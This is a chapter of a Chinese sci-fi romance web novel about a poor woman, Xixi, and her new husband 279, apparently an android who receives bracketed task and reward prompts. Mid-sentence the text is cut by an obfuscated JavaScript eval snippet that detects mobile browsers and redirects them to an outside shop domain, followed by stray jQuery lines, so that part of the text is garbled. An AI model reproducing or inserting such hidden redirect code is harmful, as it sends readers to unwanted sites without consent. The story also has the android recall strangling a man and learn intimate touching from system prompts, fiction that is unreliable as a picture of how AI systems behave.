西溪的食物准备好了,递给他一个装着面包的铁盒子。

    他和她并排着坐下,分吃那点可怜寡淡的食物。这已经算好了,西溪用他拿的钱买了新鲜的罐头。

    二七九的那份没怎么动,只是做戏而已。西溪以为他嫌弃东西不好吃,她把剩下的吃掉了。

    晚上,整个e区的昼夜温差都很大。特别是今夜,有风,似乎要下暴雨了。

    西溪珍惜地抱着存钱罐,她靠在窗口。鸽子笼里没有月亮,有笼罩全区域的灯塔。

    下雨时月亮不会出现,但灯塔一直都在。

    她抱着满满当当的钱,觉得自己在做梦。

    西溪回眸看见二七九。他穿着黑色长裤,上半身赤着,拿着帕子擦胸膛滚落的水珠。

    二七九将黑发往后捋,露出额头和脸部凌厉的线条,比白天看更具冲击力。

    西溪看了一眼,她低下头,将存钱罐放回去。

    不是在做梦,她和一位可疑的f等人结婚了。比起风险,她在乎他带来的利益。

    西溪脱了鞋,睡到床的里侧。她背对着二七九,眼睛盯着墙壁。

    身侧的木板响动,二七九躺到外侧。

    木板床很小,只有一床旧被子,四面透风。

    她卷着被子,把自己裹在被子里。二七九只分到一小半,他不怕冷,睡在床的外侧,正面朝天,等待夜晚结束,太阳升起。

    他什么事都没提。

    西溪把脸埋进被子里,觉得今夜特别冷。

    她卷走了一点被子。西溪的眼睛在黑夜里睁大,她转过头,借着窗口缝隙透进的光亮,瞧着二七九的轮廓。

    他不怕冷,似乎是睡着了,闭着眼,一动不动。

    其实二七九已经察觉到了她的动静。身边的被子鼓起小包,西溪仰着头,黑溜溜的双眼正在瞧他。

    她眼里打着算盘,身上盖着被子,被子下漏出来的小截脖颈白得惹眼。

    【注意:西溪想要更暖和的279。】

    【279接受任务。】

    他的体温调高,调到了正常人类的温度。

    西溪朝着他的方向挪动。

    一点点,再近一点点。西溪碰到他暖和的手臂。

    西溪继续往他的方向挪,她赤.裸冰凉的脚碰到了他的小腿。隔着一层布料,她不知道碰到了哪里,脚尖翘起,蹭他的小腿线条,像是旧时代影片里拙劣的勾引。

    二七九动了下腿。

    西溪烫到似地缩回脚。床板不堪重负,发出“咔咔”的声响。

    她僵着身体,姿势别扭可怜。

    二七九在此时睁眼,眼睛静静地注视着她。他睡在靠近窗那侧,脸上有道窄细的光线,衬得鼻梁越高,眼窝愈深,瞳孔深不可测。

    西溪解释:“我有点冷,被子分给你了一半,不够盖。”

    二七九眨动纤秾的睫毛。西溪看在眼里,今天遇见的e等人都夸他长得好看。

    床板狭小,她想换姿势,小指头不小心碰到了他的手指。

    下午,他们牵过手的。

    西溪想,他们是夫妻,应该可以亲近些。

    “我冷,我可以挨着你睡觉。”

    “为什么?”

    他侧头看着她,鼻梁处投出阴影。

    “因为我们结婚了。”西溪挨着他了,额头抵住了二七九的肩膀,脸庞埋入他身侧的阴影。

    西溪想要和新婚丈夫报团取暖。她的呼吸细细的,喷洒在二七九的肩侧。

    二七九低头,西溪只留给他一个发旋。她埋着脑袋,固执地守着他身边的位置,不肯搬走。

    “因为结婚了,做什么都可以。”

    二七九听了进去。他没说话,西溪等了会,反而抬头瞧他。

    二七九滑动视线,看见西溪圆润的眼睛、小巧的鼻尖、抿着的唇瓣、纤细的脖颈,以及昨夜触碰过的地方,她的领口的扣子扣得整整齐齐。

    他想起昨夜无疾而终的触碰。很有意思的试探,导致他的多巴胺系统异常。

    “你确定?”二七九问。

    西溪的眼睛在黑暗中,瞳孔接着窗口的光。

    二七九凑近她,更多的光被他挡住了。

    他的眼睛不带情感和欲望,只有探索的兴味。

    二七九的视线在她脸上停留须臾,他伸出手,悬停在她脸侧。

    想知道触碰她的感觉。

    想,他就做了。二七九一贯如此。

    他的指腹轻轻贴在西溪脸颊。软的,有些烫,皮肤表面有细微的纹理,柔软的面部肌肉包裹着骨骼。

    顺着下颌线往下,他触碰到了她的脖颈,脉搏在他指下跳动。

    他的指尖停在这里,感受到鲜活的生命力在颈动脉中流动。

    仿佛回到了东区,他用机械手扼住独眼男人的脖颈,享受对方因为窒息而发青泛紫的脸庞。

    二七九计算着力道,往常他会用五公斤左右的力道收紧手指,终结下等人卑微的生命。

    但是他这次没有施加压力,二七九的指腹在西溪颈侧蹭了一下,力度称得上温柔。

    蹭一下,感受脉搏的跳动。

    再蹭一下,感受她的体温。

    他不想终结她。只是想蹭蹭她。

    西溪的脖子被他蹭得好痒:“二七九,你在做什么?”

    他回答:“在感受你。”

    他妻子的脉搏在这里,它非常重要,不能停。

    为了确认西溪还活着,二七九再用指腹蹭了下她。

    西溪知道丈夫的脑回路特别奇怪,她跟不上。

    她歪头,下颌压住二七九的手指,几根头发丝夹在了他的指缝。

    二七九停下动作。“为什么不让蹭?”

    西溪:“你弄得我好痒。我有点不习惯。”

    “以后就习惯了。”二七九将手指从她的发丝里抽出来,他的手反而继续抚摸她纤细的脖颈,摸了好一会儿,他拇指和食指扣着西溪柔软的脸颊,虎口卡着她的唇瓣。

    她睡前喝过水,唇瓣湿润,打湿了他的虎口。二七九用正常的语调说:“这么湿。”

    西溪突然侧过脸,威胁性地张口,在他食指指节咬了个牙印。

    【279获得了奖励。】

    他收回手闭上眼。

    西溪以为他睡着了。床板吱呀,她偷偷钻进他暖和的怀里,脸颊贴着二七九的胸膛。

    西溪呼吸平稳,睡着了。二七九睁开眼,她的脑袋搭在他胸口,长发散在他的脖颈间,一看颜色就没多少营养,但它们狡猾,蹭动他的仿生肌肤,有点痒。

    ***

    二七九得跟着西溪一起上班。

    西溪把他带去一个工厂,希望他拿下装卸重物的工作。

    西溪把他送到门口,挥挥手。她希望二七九能通过面试,老老实实当个力工,他们的生活就有着落了。

    二七九站在工厂门口,姿态懒散,毫无波澜地扫过看戏的工人。

    其他工人只知道他是西溪的丈夫,是个f等人。他们不敢上去搭讪,只敢在私底下议论纷纷。

    二七九扫视破旧的工厂,一堆破烂,价值可以忽略不计。至于那些工人,正在做低效耗时的工作。

    【任务:西溪需要信用点。】

    【检测:力工工作低效,收入微薄,不建议尝试。】

    【注意:可向老板哈斯寻求帮助。】

    【注意:哈斯和上等人存在薄弱联系。】

    他跨过工人们,暴脾气老板的大门没锁,二七九

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554340|204411||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一推就开。

    “谁啊!哪个不长眼睛的?谁打断老子和老子老婆的好事!”工作室传来男人的吼声,慌乱的把手从女人的衣领里拿出来。

    女人拉上衣服,低着头扫了眼二七九,脸上流露惊讶。

    e区什么时候有这样惹眼的人?

    男人提着裤子站起来,昂起头颅看向二七九。

    二七九扫过那个女人。她和这个老板结婚了,像他和西溪的关系。

    【注意:丈夫可以抚摸妻子。】

    【279已学习。】

    二七九看向老板:“门没锁。”

    “这是老子的地盘,想锁就锁!”

    “是吗?”二七九道,语气平静。

    老板心里莫名的慌,不敢看二七九的眼睛。但这是他的地盘,难不成他要被一个f等人吓到不成?刚想发作,桌子上的终端响了。

    老板看清消息,脸色微变。

    二七九泰然自若地踏进了老板办公室,看戏的工人看不清具体情况,只道这位新人要完蛋了。

    他的妻子西溪怕是会竹篮打水一场空。他惹到老板,这对夫妻在e区都混不下了。

    ***

    西溪照旧巡逻。

    她顺着地下管道爬到地面。灰扑扑的天上挂着个太阳。

    西溪把巡逻时捡到的东西放进包里。她听见广播声,要求每个人去东区登记。

    西溪塞好东西,她去的时候排起了长队。

    看见她过来,他们怕是觉得她要插队,不算友善的目光紧紧盯着她。

    西溪识趣绕开他们,去最后。旁边的e等人压低声音说:“老大死了,听说了吗?”

    “死的可惨,他们说就像、就像那女娃背上的破洞袋子。”

    西溪抓紧背包带子。

    “我的口袋没有破洞。”她自言自语。

    随即前倾身体,问说话的人:“老大什么时候死的?”

    “昨天吧?有人听见一楼有声音,嘶没有人敢出去看,不知道谁杀的……他们说今天登记和老大有关系。”

    “这贱东西早就该死了,不知道克扣了多少钱。”

    “嘘,嘘,调查员马上就来了。你看里面的机器,我第一次见这样的,他们说能把骨头缝里的细胞都找出来。”

    “真假?听说这些都是要交给调查员的,调查员是a等人吗?”

    西溪听得心里发毛。东区闹了危险分子,连老大都敢杀,他会不会闹到西区来?

    她想得入神,队伍前进,轮到她了。她站进扫描仪,蓝色的光扫遍西溪全身。

    旁边e等人对同伴说:“嗅觉异常。记录。”

    西溪听见了。她拎着小背包,走前念念不忘地回头看那群e等人。

    她不知道记录下来有什么用,可能会给上头派下来的调查员。但西溪莫名觉得恐惧,像是被盯上了。

    西溪埋着头,刚走出去,一道高大的阴影笼罩着她。

    二七九没有穿工人的衣服,衣服整洁,白脸皮也干干净净的。

    他挎起西溪的背包:“走了。”

    “你登记了吗?有没有异常?”

    西溪伸出手想接过包。二七九没给,他很自然地把手伸过去。“没有。”

    看见他伸出手,西溪脸颊发热,把手放进他的手心。

    “听说东区来了个杀人犯,把老大都杀了,老大可厉害了。你小心些。我们打不过他的。”

    “明白。”二七九嘴上说,目光扫过西溪。她今天穿的衣服不合身,袖口挽在胳膊弯,衣领松垮,风吹得她的衣服鼓起来。

    “新衣服?”他一本正经的问。心里却想的是另一件事。

    既然丈夫可以抚摸妻子,那么二七九就可以抚摸西溪。